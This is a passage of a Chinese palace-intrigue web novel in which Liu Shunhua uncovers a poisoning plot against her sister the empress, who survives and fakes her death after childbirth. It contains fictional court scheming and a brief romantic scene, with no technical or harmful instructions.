孙氏嫁入柳府几十年,往日都是围着葛氏转,头一回被葛氏如此恭维,还恭敬地唤她嫂嫂,仰着头欣然收下。 柳舜华今日来,本是想提醒孙氏,芊芊虽被封为后,但在宫内处境艰难,她在外更要谨言慎行。可看她被众人奉承着,一脸得意,便知再怎么劝都无用。好在上辈子,她并无惹出什么祸端,也就此作罢。 走出后院,柳舜华看到族内两个男丁正低头轻笑。 经过他们身边时,隐约听到几句,“今日大公子又没出来,上次二小姐出嫁他便借口患病。” “柳桓安得罪了新帝,便是二小姐的亲兄长,也不能再受重用了。” “兄长,这可是咱们的机会啊……” 柳舜华轻笑一声,朝着柳桓安书房处走去。 贺玄度早已与柳桓安谈过话,等候她多时。 “蓁蓁,时辰不早了,咱们回家吧。” 一出府门,柳舜华并未瞧见马车,只有一匹通体雪白的骏马停在门口。 柳舜华顿住脚步,笑道:“怎么突然想起骑马回去?” 贺玄度翻身上马,向柳舜华伸出手,“春日好,莫负春光。” 晚风吹过,一阵杏花春雨纷纷扬 扬,有几瓣恰好停在他肩头。 他逆着光,细碎的光点在他伸出的手掌上跳跃。 柳舜华放心将手交给他,借着他的力,猛地一跃,跳到马背上。 暮色渐沉,残霞染红天际。 春风中满是花草香,岸边柳叶倏忽落入水中,河面碎金荡漾,惊起几只熟睡的鸳鸯。 长街上,马儿疾驰而过,踏碎一城春色。 春日缱绻,暖风熏得人欲醉,柳舜华安稳地靠在贺玄度怀中,缓缓地睡了过去。 第109章 第109章入宫 月底,贺玄晖生辰,相府短暂欢庆后,陷入一片愁云。 老夫人病入膏肓,时日不多了。 彭城王已除,朝堂之上半数都是相府之人,贺留善开始休沐,每日伺候在病榻前。 贺玄度被掳走归来,贺留善只训斥他一句,日后不可再四处闲逛,惹是生非,别无他话。 贺玄度不想看到他,心内添堵,每日尽量错开与他碰面。 儿孙绕膝,老夫人最后一段时光很安乐。 春日一晃而过,院中的海棠开了又败,老夫人终究没熬过四月。 老夫人走后,贺玄度伤心欲绝,加之此前被关地牢受了风寒,悲痛之下,大病一场。 柳舜华费心照料,等贺玄度身体恢复,相府已是另一番天地。 程氏终于熬走了老夫人,成了相府真正的女主人,内心止不住狂喜。 这么些年被老夫人压着,处处受限,如今彻底接管相府,迫不及待地拿贺玄度开刀。她先是下令减了贺玄度的份例,又将他院内的丫头小厮调走大半。 妙灵气得直哭,老夫人前脚刚走,他们就如此欺负人。 柳舜华安慰道:“咱们又不缺这点银钱,何况院内也不缺这些人伺候。” 程氏无非就是这点手段,上辈子她不是没见识过。 晚间,洪声跑过来,同芳草与妙灵嘀嘀咕咕一阵,惹得两人笑弯了腰。 柳舜华正站在廊下喂绿玉,问道:“什么事,这么高兴?” “老夫人丧仪过后,相爷突然想起要看府内账簿。昨日得空,一看才知,账面根本对不上,好大一部分物质都被夫人拿去贴补程家。相爷气得训斥了夫人一通,让她莫要再蹚程家的浑水。”洪声瞧了瞧四周,低声道:“我也是听夫人身旁那个王嬷嬷的侄子,无意间透露的。” 柳舜华听罢,依旧神情淡然,将手中最后一粒核桃喂给绿玉,笑道:“慢些吃,别噎着了。” 仅仅是几句责骂,哪里够让程氏消停,好戏才刚刚拉开帷幕。 贺丞相虽不热衷敛财,但程氏却穷奢极侈,府中仆婢成群,用度甚至僭越宫廷规制。更遑论还要替她那败家的弟弟填补赌债窟窿,程家如吸血水蛭般攀附相府,仅去年就耗费数万钱银为程家打点上下。 上辈子这个时候,相府账上已经很不好看了。只不过新帝刘九生赏赐了丞相大量金银珍宝,账上还算看得过去。 这些时日,贺玄度一直在查相府的田庄以及一些商铺、当铺,这些才是相府开支的来源,若是断了这些财路,她倒要看看,程氏还能风光到几时。 入夏,宫内传来消息,皇后娘娘怀有身孕。 此时已三月有余,胎象安稳。 自睿帝登基以来,后宫已多年未添公主皇子,此番喜讯一出,宫内上下皆是一片欢腾。 长安城的王公贵胄闻风而动,纷纷入宫道贺,一时间朱轮华毂填塞宫门,贺礼如流水般送入椒房殿。 柳棠华执掌后宫一月有余,对皇太后极为恭敬,即便是怀有身孕,依旧每日请安,未曾有丝毫懈怠。 皇太后时年不过二十,正是韶华盛极之时,却不得已独居深宫。她知道,这重重宫阙,金碧辉煌,不过是座华丽的坟墓。 她已经认命,本想就这么寂寥地枯萎。 可柳棠华的到来,却似一缕春风拂过沉寂的深宫。 她活泼娇俏,又善解人意,每每请安时总会陪皇太后说些体己话,或是讲些宫外的趣闻。 皇太后久居深宫,难得有人如此亲近,渐渐待她如亲妹一般。 柳棠华腹中的孩儿,更成了皇太后心中的一份牵挂,她早已冷冻成冰的一颗心,生出些许暖意。 柳棠华性子虽讨喜,喜爱热闹,但每次去请安时,皇太后都冷着脸。 她写了信给柳舜华,说皇太后明明和她差不多年纪,说起话来,总是老气横秋,总将她当小孩子一样,好像很看不上她。 柳舜华回信,让她务必争取皇太后的喜欢,拿出真心来,待她要像亲姐姐一样。 后宫人心叵测,皇太后久居后宫多年,若是她的支持,柳棠华的处境会好很多。 柳棠华心中只有柳舜华一个姐姐,任何人都比不了,但姐姐的话,不论对错,她一向很上心。 此后,每次去皇太后宫内请安,她总是备足了十二分的诚意,投其所好。 日子一长,她发现,皇太后听她说起自己爬到树上摘槐花时,忍不住嘴角勾笑;再说到一不小心被蜜蜂蜇得脸肿了几日,她会下意识看向她,脸上满是担忧。 她突然觉得,皇太后与她没什么不同,一样有血有肉,内心敏感又柔软。 慢慢地,皇太后越来越喜欢她,她口中的山川湖泊江河,让她觉得,这世间的辽阔,并不是只存在书卷之间。 有皇太后撑腰,柳棠华在后宫生存容易许多。 新皇后短短时日便俘获皇太后,长安城的贵妇们听闻,堪堪称奇。 月中,内外命妇入宫朝觐。 对文臣家眷,皇后棠华温和有礼,言笑间引经据典,却不显锋芒,只教人如沐春风。面对武将妻女,则话锋一转,说起凉州风物,更将边关将士餐风饮露、保家卫国之事娓娓道来,说到动情处,眸中隐现泪光。那些将门虎女本不惯宫中虚礼,闻此皆肃然起敬。 出了椒房殿,太常之女不由赞道:“皇后娘娘这般知书达理,温婉贤淑,当真母仪天下。” 车骑将军夫人亦含笑附和:“原以为皇后娘娘深居闺阁,不谙世事,不想却也知体恤边关疾苦,实乃将士之福。” 贺容暄听罢,唇角微勾,眼底却掠过一丝讥诮。 区区大司农丞之女,一个六品小官的女儿,竟也配登上凤位。 而她自幼习礼明经,才貌俱佳,若当初她执意要当这个皇后,那今日坐在椒房殿受跪拜的,怎会是她柳棠华。 她听了兄长的话,想要寻个如意郎君。 可如今,对着一个寒门之女屈膝行礼,还要尊一声“娘娘”。 她才明白,她真正想要的,从来都是那至高无上的尊荣。 柳舜华听闻众人称颂皇后贤良淑德,心中很替她高兴。 她知道,棠华生来讨人喜欢,在家是好女儿、好妹妹,如今入了宫,自然也能当个贤德的皇后。棠华本就是这世间最美好的女子,做什么都是极好的 这辈子,柳棠华有皇太后庇护,又经历过动乱,见识过生死离别,说话做事更有底气,没有像上辈子一样,遭了许多明枪暗箭,被迫一步步成长。 柳舜华没有进宫庆贺。 明面上,她还在为皇上与皇后不讲情面生气。只能私下让暗卫送了信,让她安心养胎。 柳棠华借着求姐姐谅解的由头,明目张胆地屡屡送礼到相府。 上辈子,棠华做了皇后,也往相府送过不少好东西,不过都被程氏给截了下来。这辈子,有贺玄度在,棠华的赏赐一件不落地送到了她房内。 这边,贺玄度不敢有丝毫懈怠。 张原膝下无子,唯有侄儿张毅承欢膝下,视如己出。张家血脉传承,全系于张毅一身。只要他站在刘九生这边,何愁车骑将军不归心? 刘九生借着上次与张毅的交情,屡屡召他入宫,两人纵酒享乐,甚至在宫中玩起了斗鸡。直至太傅直言驳斥,刘九生自觉火候已到 ,这才作罢。 丞相府内,自老夫人驾鹤西去,贺氏宗族间的血脉羁绊便日渐疏淡。 贺留善早年丧父,长年在外求学,与族人本就情分浅薄。昔日全赖老夫人居中周旋,方得维系宗族体面。而今虽为巩固权势,将诸多族亲安插朝野要职,却也不过是各取所需的利益勾连,彼此间实在谈不上亲厚。 程氏见贺留善并未将族人放在心上,当即暗中运作。程家子弟纷纷占据要津,朝堂之上渐成程、贺两家明争暗斗之势。 刘九生冷眼旁观,故意将官职任免搅得混沌不明,程、贺两家为争权夺利,明枪暗箭愈演愈烈。 每逢冲突激化,贺玄晖都会出面调停。 奈何裂痕已深,心结已生,贺玄度又着人刻意在贺家人面前为其抱不平,一番挑拨之下,贺氏一族对程家的怨怼如野火燎原,再难平息。 自上次被抓,柳舜华被迫跪在宫门口,老夫人仙逝,程氏多次挑衅,贺玄度不忍柳舜华继续在长安受这些窝囊气,对付程氏那边更是不遗余力,加快反击步伐。 今春黄河决堤,相府在黄河一带的粮仓全毁,却要带头捐赈,如今收成又减半,账上亏损严重。 程光祖仗着程氏掌家,行事愈发肆无忌惮,竟强占民田致闹出人命。 御史弹劾的折子递到了御前,刘九生犹豫不决,召来丞相询问如何善了。 贺留善闻讯,胸中怒火翻涌。 程光祖素日虽跋扈,但做事还算有点分寸,尚知收敛,程氏也会帮着善后。如今兄妹二人竟如此肆无忌惮,全然不顾后果。 他苦心经营数十载的清誉,眼看就要被这程氏兄妹的恣意妄为毁于一旦。 回府之后,贺留善意识到,这些时日,程家人实在招摇,遂叫来程氏一顿训斥。 程氏气急败坏,却也奈何不了丞相,独自在后院生闷气。 贺容暄闻言,前去安慰。 程氏气道:“这么多年了,贺家这些人,还是嫌弃我的出身。一个个的,都要与我作对。” 贺容暄小心翼翼道:“母亲,舅舅行事实在有些荒诞,不如借此机会……” 程氏瞥了她一眼,“熙儿,当年家贫,我一个小女娃,险些被卖了去。是你舅舅在大太阳下跪了一整日,哭得一把鼻涕一把泪,才保住了我。你记住,没有你舅舅,就没有我。以后,不准再说这样的话。” 贺容暄叹道:“母亲,我都懂。可是,如今父亲已经动怒,下令日后不可以他的名义为程家谋利。您这么生气也无用,还不如想想别的办法。” 程氏目光转回到贺容暄身上,幽幽一叹:“若你是皇后,我又何必看他们脸色。” 贺容暄眸中含笑,“柳棠华算什么,她有什么能耐能与我们相府斗。即便父亲不肯帮忙,咱们不是还有舅舅吗。” 程氏缓缓回头,对着贺容暄一笑,“熙儿,若是你能早有觉悟,肯为母亲分忧,皇后之位,哪轮得到她柳棠华。” 秋风渐起,桂月飘香。 皇后娘娘生产在即。 柳舜华带着凉州加急送来的葡萄,与陈茵精心做的小肚兜棉袄,入了宫。 外人不知缘由,只道是姐妹之间的恢复如常。 小半年未见,柳棠华一见到柳舜华,抓住她的手,泪如雨下。 没由来地,她觉得很委屈。 柳舜华笑着帮她拭泪,“您是皇后,又是快要做母亲的人了,怎么还这么哭鼻子。” 柳棠华不依不饶,“我不管,我是你妹妹,到一百岁也要在你面前哭。” 柳舜华收起玩笑,认真道:“再过几日,便要生产了,芊芊,能陪着你,我很安心。” “那姐姐陪我住在椒房殿可好?”柳棠华腻在柳舜华身上。 柳舜华神色微微一变,垂下头,“那恐怕不行。” 柳棠华腾地一下起身,“谁说的,我想要姐姐留下,谁敢反对?” “玄度他……”柳舜华面色绯红,“他也跟了过来,已经向皇上请旨,要随我留宿宫中几日。” 柳棠华咬牙,贺玄度,不过短短几日,他竟也要同她争。 御书房内,刘九生执棋落下,“玄度,你这样,我真的很为难。” “为难不也应下了。”贺玄度微微一笑。 刘九生无奈道:“你都用秘信了,我再不应下,你背地里不知道要骂我几回。” “咱们到底是连襟,都是爱妻如命,你又是皇上,怨恨终有消解那日。”贺玄度轻笑,腕间玄色广袖拂过棋盘边缘,“世人皆知,你我爱玩乐,便是这短短几日,咱们如胶似漆,也不是没可能。” 刘九生笑出声来,“你还真是……一见到你,便觉回到了过去,整个人都轻松了。” “不好意思,接下来,你可没机会轻松。”贺玄度长指在案上轻叩,“椒房殿的人,可靠吗?” 柳舜华梦到上辈子之事,刘九生已然知悉,听他如此提醒,顿时眉头紧锁。 鎏金兽首香烟袅袅,青烟缭绕中,刘九生眼底迸出锐光,“太医是先帝心腹,咱们的人。椒房殿上上下下,由皇太后亲自挑选,全换了自己人。如今芊芊身边贴身伺候的,是她在府内的丫头抚春。” 皇上对柳棠华的情谊与宠溺,贺玄度从不怀疑。 此次安排十分缜密,听上去的确万无一失。 “那便好,待皇后娘娘顺利诞下龙子,咱们也可以暂时缓上一缓。”贺玄度揉着额头,“贺家与程家,也不可逼得太紧,以免他们有所警觉。” 刘九生目光幽沉,“我真不想他一出生,就像我一样,过着傀儡的生活,身不由己。我想,让他自由无拘,随心所欲地活着。” 回到殿内,红烛剪了三次,柳舜华才回来。 贺玄度上前,从背后拥上抱着她,声音闷在她散落的青丝里,“这个殿实在太大了,没有你,空荡荡的。” 柳舜华转过身,笑道:“这么腻在一起,你也不嫌热,怎么今日如此黏人?” 贺玄度眸色一深,骤然将她打横抱起,惊得她低呼一声,下意识攥紧了他的衣襟。 他低笑,嗓音里带着几分危险的意味:“夫人玉骨生凉,正好……替我解暑。” 红罗帐忽地垂下,掩住案上将熄的烛火,唯余一缕青烟袅袅。 两人呼吸渐乱,交缠缠绵。 贺玄度咬住柳舜华的耳垂,长呼一口气,“蓁蓁,咱们何时,也能有个自己的孩子?” “凉州,”柳舜华喘息着,指尖划过他腰间玉带钩,“等到了凉州,都随你。” 贺玄度低头一笑,带着几分振奋的欲念,“好,你说的,都随我。” 柳舜华自悔说错了话,头埋在他颈窝不肯出来。 贺玄度吻落在她背上,一点点试探着往下。 “咚咚咚”外面响起了声响,有人叩门。 柳舜华倏忽坐起,等披上衣衫,贺玄度已起身将红烛点燃。 芳草在外急道:“公子,少夫人,皇后娘娘……娘娘她要生了。” 柳舜华有些懵,怎么提早了? 两人穿戴整齐,匆匆赶往椒房殿。 皇上已等在门口,见到贺玄度,紧绷着的脸才稍稍缓解。 柳舜华太过紧张,越过刘九生,慌忙进去。 殿内血腥气混着艾草苦香,屏风后传来撕心裂肺的呻吟。 “姐姐,姐姐。”柳棠华声音沙哑,青丝尽湿贴在煞白的脸颊上,用尽全身力气。 “芊芊,别怕,姐姐在呢。”柳舜华忙过去,握住她的手。 “再换热水!” 铜盆相撞的脆响里,御医跪在锦帐外高喊:“见着胎发了!娘娘再用些力。” 柳棠华涣散的目光突然聚焦,攥紧柳舜华的手腕,生生掐出一片瘀青。 一声泣血般的嘶喊后,婴儿啼哭骤然划破死寂。 “皇子,是皇子啊!”产婆颤抖着捧起浑身血污的小生命,兴奋高呼。 柳棠华瘫软在枕上,泪水和着汗水浸透锦褥,虚弱一笑,沉沉睡去。 一夜有惊无险! 第二日,柳舜华早早洗漱,前去椒房殿。 迎面碰上准备去上朝的皇上,刘九生对着柳舜华道:“芊芊还未醒,有劳了。” 柳舜华点头,进了殿。 等了片刻,昏睡了一整夜,柳棠华终于醒了过来。 柳棠华一醒,便要见小皇子。 柳舜华忙让人将小皇子抱来,小心翼翼地抱到她跟前。 小皇子被包裹着,小脸上皮肤皱巴巴一团,闭着眼,看不出轮廓。却丝毫不妨碍柳舜华却觉得,他就是这是世上最好看的孩子。 抚春提醒道:“今早太医过来瞧,说小皇子要好生照顾,多休息。” 柳棠华虽恢复些力气,但身子依旧绵软,歪在枕头上,不舍点头道:“抱下去吧!” 同柳舜华闲话几句,又吃了些粥食 ,柳棠华整个人又昏昏沉沉起来,不多时,便又睡了。 柳舜华在殿内守着,一直到午后。 抚春见她眼下一片乌青,整个人不停地打着哈欠,忍不住道:“大小姐,您忙了一晚,又一直守着,便是铁打的也遭不住啊。殿内一直有人守着,您放心,不如趁着娘娘未醒,去歇一歇。” 柳舜华一夜未合眼,着实有些犯困,想着还有三五日要守,要保持体力,于是道:“我先回去歇息片刻,你记得,凡是药物,必定要确保不离人。皇后娘娘入口的药,必须要太医检查过才可以端过去。” 抚春点头应是。 回到殿内,贺玄度早已让人备好了各类餐食。 柳舜华没胃口,勉强吃了几口,让宫人每隔一刻前去椒房殿查看一次,吩咐好才歪在榻上。 日渐西斜,睡了半个时辰,贺玄度准时将她叫醒。 柳舜华睡醒,边梳洗边道:“椒房殿内没有什么异常吧?” 一旁的宫女摇头,“回少夫人,无任何异常。” 柳舜华长舒一口气,“那便好。” 小宫女歪歪头,又道:“就是方才,柳夫人来过。” “柳夫人,哪个柳夫人?”柳舜华有些懵。 小宫女道:“就是……皇后娘娘的生母。” 孙氏,她也进宫了。 柳舜华揉着额头,突然双手一顿,猛地睁大双眼。 她怎么将她给忘了? 孙氏,或许才是这场毒杀的疏漏。 脊背陡然窜上一股刺骨寒意,仿佛毒蛇顺着脊椎蜿蜒而上,柳舜华如坠冰窟,声音已变了调:“她可还在?” 小宫女回道:“已经走了,柳夫人只坐了片刻。” “来不及了,要来不及了。”柳舜华霍然起身,手臂撞到桌角,霎时浮起狰狞的淤青,却浑然不觉痛。 贺玄度上前道:“怎么样,撞疼了吧。” 柳舜华来不及解释,一把攥住裙裾,“刺啦”一声撕裂锦绣,提着裙摆便朝椒房殿狂奔。 第110章 第110章皇后娘娘薨 枝叶萧萧,西风中蝉鸣愈噪。 柳舜华披散着头发,一路狂奔,顾不上宫人惊愕的眼神。 上辈子,芊芊二胎生产之后,薨于椒房殿。 为了芊芊的安危,她时刻警惕,便是头胎也未放松。 宫人说孙氏入宫时,她有些恍惚。 她隐约记得,上辈子芊芊头胎时,她正回府探望父亲,孙氏就陪侍在左右。大约是芊芊做了皇后,又怀有龙嗣,孙氏便不将她放在眼里,言语间多有轻慢。 回到相府,正撞上迎面而来的贺容暄。 “太阳都落山了,才舍得回来。怎么,以为妹妹诞下皇子,便可以不用守贺家的规矩了。”贺容暄挑着下巴,“你那好妹妹,不过占着个皇后的虚名罢了。她满长安地拉拢各家勋贵家眷,可你看看,谁将她放在眼里?” 柳舜华怒极了,一巴掌打了过去。 骂她可以,但她不允许有人在她面前诋毁芊芊。 贺容暄被她一巴掌扇得有些懵,反应过来后,当即便要还回去。 此时柳舜华还未重病缠身,一个娇滴滴的相府小姐,根本奈何不了她。 贺容暄气急败坏,吩咐身边的丫鬟嬷嬷,将柳舜华牢牢按住。 怒气冲冲的手掌即将落下,柳舜华挣扎未果,闭上了眼。 “贺容暄,你便是这么对长嫂的吗?”一道清冷的声音从后方传出。 柳舜华循声回头。 贺玄度坐在轮椅上,神情淡漠,几瓣丹桂落在他白衣之上。 一簇朱红落在柳舜华眼中,像一颗跳动的火苗,久久不灭。 她不会记错,孙氏出现,是在芊芊诞下二胎小公主之后。 芊芊生产,刘九生思虑周全,怎么可能让程氏又可乘之机。 可程氏偏偏就得逞了。 柳舜华原本怎么也想不通,就在方才,听到孙氏入宫请安,她突然就明白了。 只有孙氏,是个变数。 也只有她,能让芊芊毫无防备。 柳舜华跑得很快,他们住处离椒房殿又不远,贺玄度追上的时候,她人已经到了殿门口。 来来往往的宫人看着两人仪态尽失,先后进了椒房殿,只当是小两口闹了别扭。 约莫不到一刻,殿内传来一声凄厉的惨叫。紧跟着,一阵撕心裂肺的恸哭声排山倒海般涌出,像是要把五脏六腑都呕出来似的,听得人肝胆俱裂。 殿外侍立的宫人们像是意识到什么,一个个僵直着身子,一动也不敢动。 片刻后,抚春红着眼走了出来,脸色煞白,声音颤抖,一面吩咐宫人去召太医,一面前去御书房。 不一会,皇上失魂落魄地赶到椒房殿,整个人像被抽走了魂的木偶,跌跌撞撞奔向内殿。 皇太后、太医随后赶到,悲痛的哭泣声、痛苦的低吼、杯盏碎裂的声音此起彼伏,椒房殿乱成一团。 殿内伺候的宫人们一盆盆地端着水进进出出,一个个太过慌张,血水飞溅到地板上,殷红一片。 浓重的血腥气弥漫在殿内,压得人喘不过气来。 晃悠悠的纱幔间,柳棠华轻飘飘地躺着,身下的被褥被鲜血浸透,脸色惨白得雪似的,宛似暮春枝头最后一朵梨花,被骤雨摧折得摇摇欲坠,仿佛下一刻便要随风凋零,化作尘泥。 “姐姐。”殿内烛火摇曳,在她脸上投下细碎的光影,她半睁着眼,看向柳舜华。 柳舜华蓦地想到上辈子,椒房殿内,一身华服冷冰冰的尸身,瘫软在床边,泪如雨下。 “姐姐……我知道,我命不久矣,你要好好保重……” 话未说完,一口鲜血喷涌而出。 刘九生扒开柳舜华,跪在床边,握住柳棠华的手,“芊芊,别这么说,我让他们用最好的药,会好的,会好的。” 柳棠华低眉凄然一笑,伸手摸着刘九生的脸,柔声道:“九生,我真舍不得……舍不得离开你。” 刘九生潸然泪下,手心又紧了些。 “哇哇哇……”抚春抱着的小皇子似乎是有了感应,哭闹个不停。 小皇子一哭,抚春也忍不住,将头转到一边,跟着哭了起来。 皇太后心疼不已,伸手接过小皇子,抱在怀中安抚。 柳棠华涣散的目光落在小皇子身上,朝着太后一笑,“姐姐,我头一遭这么叫你,你可莫要生气。” 皇太后拍着小皇子的手僵在半空。 柳棠华静静道:“姐姐,孩子要劳你费心了。” 皇太后噙着泪,认真地点了点头。 柳棠华如释重负,呼吸渐弱,最后看了一眼柳舜华,“姐姐,去做你想做的事吧,别再为我担心了,我只是……只是想休息一会。” 刘九生扑过去,将她牢牢抱在怀中,紧紧贴着她的脸,喃喃道:“芊芊,是我对不住你,你等我……等我。” “嗯,九生,我等……”怀中人靠着他,渐渐无声。 “芊芊。”柳舜华喊了一声。 没有人回应。 殿内一片死寂。 柳舜华缓缓起身,深一脚浅一脚走出大殿。 夜色袭来,连绵的殿宇似一只沉默的巨兽,潜藏在无边 的黑暗中,随时要将人吞没。 柳舜华站在玉阶上,八月的天猝然凉了起来,夜风吹得她浑身僵冷。檐角垂落的宫铃随风颤动起来,在暮色中发出阵阵哀鸣。 前世今生交错,巨大的空虚与不实感席卷而来,她心底某处似乎空了一块,荒凉孤寂。 哀声四起,椒房殿内管事太监尖利的声音划破暗夜: “皇后娘娘薨!” 柳舜华再也无力走下去,浑身一软,险些摔下台阶。 贺玄度眼疾手快,一把拉住她。 柳舜华看了一眼贺玄度,微微一怔,伏在他身上,悲痛大哭。 贺玄度弯腰,伸手将她抱起,不顾众人的目光,抱着她走下冰冷的长阶。 柳舜华紧贴在他胸口,熟悉的气息将她团团围住,一颗冷下来的心慢慢恢复。 她不能倒下,她还有更重要的事要做。 “你说什么?皇后死了?”贺玄晖霍然起身,案几上的茶盏被袖风扫落,在地上摔得粉碎。茶水溅在他衣摆上,洇出一片水痕,却浑然未觉。 怎么会这样,柳棠华不该那么早死的。 贺玄晖一向风轻云淡,喜怒不形于色,这是他头一次在人前失态。 贺留善眉头微微一皱,对着探子道:“昨日不是才诞下皇子,怎么今日就死了,你确定人不是讹传。” 探子点头,肯定道:“回相爷,错不了。当时一瞧着情形不对,咱们的人就趁乱混进椒房殿,亲眼看到皇后咽了气。” 贺玄晖还是不信,“可看清楚了?” 探子道:“看得真真的。皇上,皇太后,二公子与二少夫人都在。事后,皇太后将小皇子抱到了长乐宫。二少夫人从宫内出来站都站不稳,还是被二公子抱着回去的。还有皇上,一直守在椒房殿,已经一个时辰了,抱着皇后娘娘,一动不动。” 贺留善问:“人是怎么死的?” 探子回道:“还不清楚,只是皇后娘娘流了好多血,椒房殿一股血腥气,吓人得很。” 贺留善锐利的双眼猛地一抬,产后血崩,这症状怎的如此熟悉。 夜风裹着金菊清冽的香气,在空气中缓缓流淌,久远的记忆被唤醒,一点点浮上心头。 窗棂前,女子一袭深紫罗衫,弯腰侍弄着那盆金菊。月光如水,她发间的玉簪轻轻晃动,柔柔的夜色泛着温润的光。 似是察觉到动静,她缓缓直起身来,一双眸子清冷得像是深潭里浮动的碎冰。 “这里是西竹院,贺丞相,可别走错了。”她冷冷开口。 万氏,那个眼高于顶,总是带着锋芒的女人。 他怎么会想起她来。 贺玄晖怔愣许久,满脑子都是,二少夫人站都站不稳,被二公子抱着回去。 他最担心的事,还是发生了。 他再三告诫暗示过母亲与容暄,不要觊觎皇后之位,她们还是瞒着他动了手,甚至比上辈子还早。 好在,他已知晓此事多半是母亲所为,他要想办法,替母亲善后,以免刘九生查到她身上。 他更怕,柳舜华知道。 柳舜华极疼这个妹妹,她若知晓真相…… 贺玄晖回过神,“你速去盯着皇上一举一动,若有异常,务必马上来报。” 探子点头,看向贺留善,“相爷可还有其他吩咐?” 贺留善闭上眼,“按大公子说的做。” 这一夜,格外漫长。 第二日,皇后薨逝的消息传遍长安城,朝廷内外一片震惊。 皇上罢朝,依旧守在椒房殿。 柳舜华伤心欲绝,连日劳累,又受了寒,大病一场。 贺玄度不忍她继续在宫内待着,徒惹伤心,一早便抱着她乘坐着马车,离开了皇宫。 周松驾着马车,转头问道:“公子,要回府吗?” 车内传来柳舜华急促的声音,“先去柳府。” 马车缓缓驶出御街,转到一条偏僻的小巷。 车底部传来细微的摩擦声,接着一道黑影游蛇般从下方滑出,身子贴着车壁,倏地一翻,从车帘缝隙滑入车内。 贺玄度双手抱臂,笑道:“怎么样,昨夜见到刑风了吧?” 梅好点头,“多谢贺二公子成全,保刑风一命。” 温泉山庄一役后,刘九生登基,父亲被处决。 她原本打算去凉州。 刑风说过,那里很美,自由辽阔。柳舜华也说过,将来会去凉州。 她已经收拾好行囊,却听闻刑风要被秋后问斩。她没想到,刑风并未同父亲一起被处决。 刑风嘴巴虽然刻薄,却是这个世上唯一真心待过她的人。在千机阁那些日子,若没有他这个少阁主挡着,她都不知死了多少回。 她想在离开前,救他出去。即便救不出,至少也能向他道别。 于是便混进宫中,伺机而动。 谁知宫内暗卫很快发现了她,接着贺玄度便找上她。答应她会帮她向皇上求情,但前提是,要将刑风收入暗卫。 她别无选择,只能与贺玄度再次合作。 贺玄度将她安排在椒房殿,在宫内待了几个月,她终于摸清宫内路线,一直在等一个机会。 就在昨日,柳夫人进宫向皇后请安,她在旁伺候。 柳夫人拿出一枚药丸,说是什么养颜丸,要头胎产后服用,固本培元,可保容颜更胜往昔。 皇后娘娘本不想服用,奈何柳夫人软磨硬泡,说都是为她好云云,女人生过孩子,容颜易老,要早做保养。她贵为皇后,丈夫是皇上,将来红颜老去,要如何争宠? 几番拉扯,皇后娘娘被她缠得心烦,适逢太医来问诊,便让他诊断药丸是否能服用。 太医瞧过,不过是些补药而已。 皇后娘娘见药丸并无大问题,便要服用。 柳夫人却要用银针入水搅拌,皇后娘娘只得依她。 待太医与柳夫人离开,皇后娘娘突然头晕不适。 她做杀手多年,擅长下毒,敏锐地觉出不对,顾不上许多,忙以手指按压皇后娘娘舌根催吐。 皇后娘娘呕出一滩秽物,渐渐缓过来。 还未来得及叫太医,柳舜华便及时赶到。 她不知道柳夫人为何会狠下杀手,还是受人蒙骗,也不知皇后娘娘为何假死。 不过,那些都不重要了。重要的是,她趁乱见到了刑风。 柳舜华抓住梅好的手,颤声道:“梅好姑娘,说什么感谢,是我该谢谢你。幸亏你及时出手阻止,芊芊她恐怕真的就……性命危矣。” 梅好笑道:“姑娘严重了,都是姑娘结善缘,才有如今的福报。” 当初若非她提点,让她知晓人生还有另一番天地,又怎会有今日这番际遇。 柳舜华一笑,问道:“梅好姑娘今后如何打算?” 梅好看了一眼窗外,“彭城王已伏诛,千机阁也毁了,刑风答应加入暗卫。我心愿已了,明日便动身去凉州。” “凉州?”柳舜华此前并不知,她要去凉州。 梅好点头,盈盈一笑,趁着马车转弯之际,轻飘飘地跳了下去。 “柳小姐,咱们凉州见。” 待梅好下了马车,贺玄度从怀中掏出一块精心包裹着的点心,递过去,“饿坏了吧,这是我早上顺的,你先垫垫肚子。” 柳舜华接过,掰成两半,还给他一块,“难为你了,还能想着吃的。” 贺玄度伸手拿过去,看着她的脸,心疼道:“你都多久未曾进食了,不能饿着。” 柳舜华叹道:“咱们是吃上了,可皇上从昨晚便滴水未进,今日悲痛之下,还在椒房殿门口摔了一跤。” 贺玄度咬了一口点头,含糊道:“各人有各人的造化。” 柳舜华瞥了他一眼,“昨日说好的,报丧之后,我要悲痛地摔倒在台阶上的。你突然拉住我,倒显得我出尔反尔,不肯摔似的。” 贺玄晖也记起了前世,必然对柳棠华的死产生怀疑。 她没摔,只能皇上摔了。 既然是假死,做戏要全套。 贺玄度笑道:“夫人,你身娇体柔的,万一磕破了皮可怎么办。九生他皮糙肉厚的,摔一下不打紧。” 话虽这么说,可昨日都答下的,却突然变了卦,逼得他不得不摔。 刘九生不知要在心里骂他们多少遍。 晨风晃动车帘,正看到柳棠华昔日最爱的那间蜜饯铺子。 柳舜华不再想其他,道:“周松,再快一些。” 她迫不及待要回府,去见见孙氏这个蠢货。【你现在阅读的是 】 110-115 第111章 第111章歹毒 柳府内大门紧闭,门前悬挂着白色幡旗,晨风中簌簌翻卷。 柳舜华进了大门,一路上,仆婢皆缟素加身,屏息垂首。 正厅内,柳奉半瘫在椅靠上,面容枯槁,双眼红肿。孙氏捂着脸,不停低声抽泣。 柳桓安眉头深锁,今日罢朝,他并未见到皇上,宫内暗卫消息也中断,他根本不知道发生了什么,芊芊怎么突然就…… “父亲,兄长。”柳舜华跨步进门。 柳奉一看到柳舜华,再也忍不住,抱着她号啕大哭,“我可怜的儿啊!” 他这一哭,孙氏也跟着涕泪涟涟,边哭边捶打胸口,悲痛欲绝。 柳舜华安慰着父亲,柳奉哭得止不住,“好好一个人,怎么说没就……没了?” 柳桓安也急道:“蓁蓁,到底发生了什么?” 柳舜华朝着贺玄度使了个眼色,贺玄度忙道:“父亲,兄长,咱们书房细说。” 柳奉被贺玄度与柳桓安搀着去了书房。 柳舜华低头看了一眼伏在案上痛哭的孙氏,淡声道:“我要到芊芊闺房看看,劳烦同我一起回后院。” 孙氏止住了哭,抬头看着柳舜华,一脸幽怨。 自她被扶正,芊芊做了皇后,柳舜华待她愈加和顺,如今芊芊前脚方走,她便如此嘴脸。 奈何皇后已故,她再无靠山,柳舜华又是相府二少夫人,她只能忍气吞声,不情不愿地跟着去了后院。 一到屋内,门“砰”地一下被柳舜华关上。 孙氏被吓了一跳,透过门缝一看,管家持着根粗棒,带着两个丫头站在远处。 